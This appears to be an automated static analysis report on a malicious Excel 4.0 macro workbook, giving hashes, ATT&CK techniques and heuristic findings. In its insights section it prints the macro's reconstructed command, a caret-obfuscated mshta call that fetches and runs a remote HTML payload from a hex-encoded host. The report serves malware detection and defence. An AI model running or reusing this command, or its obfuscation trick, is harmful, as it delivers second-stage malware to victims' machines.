Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 fef4fbd291c1b688…

MALICIOUS

Office (OLE) / .XLS

64.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 3e4c23bdc168a8a5e1c340bdcbd4a62b SHA-1: bc31217f938cba2daa66891a64f1fd16d15cb896 SHA-256: fef4fbd291c1b6884b9816a0e1ef5b5bce1d71b5461fee8b4c3e05b458a46c93
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel 4.0 macro sheet with an Auto_Open macro. The document body and heuristics indicate a lure to enable macros. The extracted XLM macro reconstructs a command that obfuscates a URL, likely to download and execute a second-stage payload. The reconstructed command is 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which resolves to 'cmd /c mshta http://0xc12a24f5/cc.html'.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes